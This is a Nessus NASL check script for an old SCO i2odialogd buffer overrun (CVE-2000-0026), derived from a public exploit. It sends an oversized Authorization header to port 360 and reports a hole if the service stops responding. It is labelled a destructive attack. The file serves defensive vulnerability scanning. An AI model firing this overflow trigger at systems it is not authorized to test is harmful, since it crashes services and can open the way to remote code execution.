#
# This script was written by Renaud Deraison
# 
# Based on G2 server exploit
# Original exploit code : see http://www.beavuh.org
#
# See the Nessus Scripts License for details
#
#
if(description)
{
 script_id(10109);
 script_version ("$Revision: 1.15 $");
 script_cve_id("CVE-2000-0026");
 name["english"] = "SCO i2odialogd buffer overrun";
 name["francais"] = "Dépassement de buffer dans i2odialogd de SCO";
 script_name(english:name["english"], francais:name["francais"]);
 
desc["english"] = "
If a user sends a too long login/password combination
to this i2odialogd server, then he will overflow the server's
buffers.

An attacker can use this flaw to execute arbitrary code
on the remote system.

Solution : filter incoming traffic to port 360
Risk factor : High";



desc["francais"] = "
Si un utilisateur envoie une trop longue paire login/password
a ce serveur i2odialogd, alors il va faire déborder ses buffers.

Un pirate peut utiliser ce problème pour faire executer du
code arbitraire au système distant.

Solution  : filtrez le traffic entrant vers le port 360
Facteur de risque : Elevé";

 script_description(english:desc["english"], francais:desc["francais"]);
 
 summary["english"] = "Overflows a buffer in i2odialogd";
 script_summary(english:summary["english"]);
 
 script_category(ACT_DESTRUCTIVE_ATTACK);
 
 script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison. Original exploit : www.beavuh.org");
 family["english"] = "Gain root remotely";
 family["francais"] = "Passer root à distance";
 script_family(english:family["english"], francais:family["francais"]);

 script_require_ports(360);
 exit(0);
}

 include("http_func.inc");
 
if(get_port_state(360))
{
  head = http_get(item:"/", port:360);
  head = head - string("\r\n\r\n");
  head = head + string("\r\n") + "Authorization: Basic ";
mid = "[encoded data, 6152 characters]";
   tail = "\r\n\r\n";
   str = string(head + mid + tail);

   soc = http_open_socket(360);
   if(soc)
   {
    send(socket:soc, data:str);
    rep = http_recv(socket:soc);
    http_close_socket(soc);
    if(!rep)exit(0);
       
    
    soc2 = http_open_socket(360);
    send(socket:soc2, data:http_get(port:360, item:"/"));
    rep = http_recv(socket:soc2);
    http_close_socket(soc2);
    if(!rep)
    {
    security_hole(360);
    }
  }
}
